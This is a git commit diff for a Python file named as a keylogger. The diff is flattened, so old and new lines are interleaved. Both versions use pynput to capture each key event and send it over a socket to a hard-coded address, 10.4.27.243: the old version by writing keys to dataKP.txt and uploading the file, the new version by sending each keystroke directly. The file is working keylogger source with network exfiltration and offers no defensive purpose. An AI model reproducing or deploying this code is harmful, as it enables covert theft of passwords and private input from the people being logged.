Update 'Server/KEY LOGGER - Mirror - KEYBOARD- press.py'

release
This commit is contained in:
zd 2020-12-10 18:07:09 +00:00
parent e48ce32587
commit 88dbb213a9

View File

@ -1,80 +1,54 @@
import socket import socket
import os import os
from tkinter import * from tkinter import *
from pynput import keyboard from pynput import keyboard
#window = Tk() #ipFile = open("IP.txt")
#label = Label(window, text= 'What is the IP') #IP = ipFile.read()
#entry = Entry(browser_window, width=200) #ipFile.close()
#entry.insert(END, IP)
#label.pack()
#entry.pack() #window = Tk()
#label = Label(window, text= 'What is the IP')
#entry = Entry(window, width=200)
#entry.insert(END, IP)
SEPARATOR = "<SEPARATOR>" #label.pack()
BUFFER_SIZE = 128 # send 4096 bytes each time step #entry.pack()
host = "10.4.27.243"
# the ip address or hostname of the server, the receiver
# the port, let's use 5001 SEPARATOR = "<SEPARATOR>"
port = 10001 BUFFER_SIZE = 128 # send 4096 bytes each time step
# the name of file we want to send, make sure it exists
filename = "dataKP.txt" host = "10.4.27.243"
# get the file size # the ip address or hostname of the server, the receiver
filesize = os.path.getsize("dataKP.txt") # the port, let's use 5001
port = 10003
#IPfile = open("IPfile.txt", "w")
#text_file.write("¬") # create the client socket
#text_file.close() s = socket.socket()
print(f"[+] Connecting to {host}:{port}")
s.connect((host, port))
print("[+] Connected.")
#-----------------------------------------------------------
# create the client socket
s = socket.socket() def on_release(key):
print(f"[+] Connecting to {host}:{port}") dataToSend = (('{}'.format(key)).replace("'", ""))
s.connect((host, port)) dataToSendBytes = dataToSend.encode()
print("[+] Connected.") s.sendall(dataToSendBytes)
# send the filename and filesize
s.send(f"{filename}{SEPARATOR}{filesize}".encode()) def on_press(key):
print("\n")
def sendfile():
# start sending the file
with open(filename, "rb") as f:
while True:
# read the bytes from the file with keyboard.Listener(on_press = on_press, on_release = on_release) as listener:
bytes_read = f.read(BUFFER_SIZE) listener.join()
if not bytes_read:
# file transmitting is done
break #-----------------------------------------
# we use sendall to assure transimission in
# busy networks
s.sendall(bytes_read)
# close the socket
#s.close()
#-----------------------------------------------------------
def on_press(key):
text_file = open("dataKP.txt", "w")
text_file.write(('{}'.format(key)).replace("'", ""))
text_file.close()
sendfile()
with keyboard.Listener(
on_press = on_press) as listener:
listener.join()
#-----------------------------------------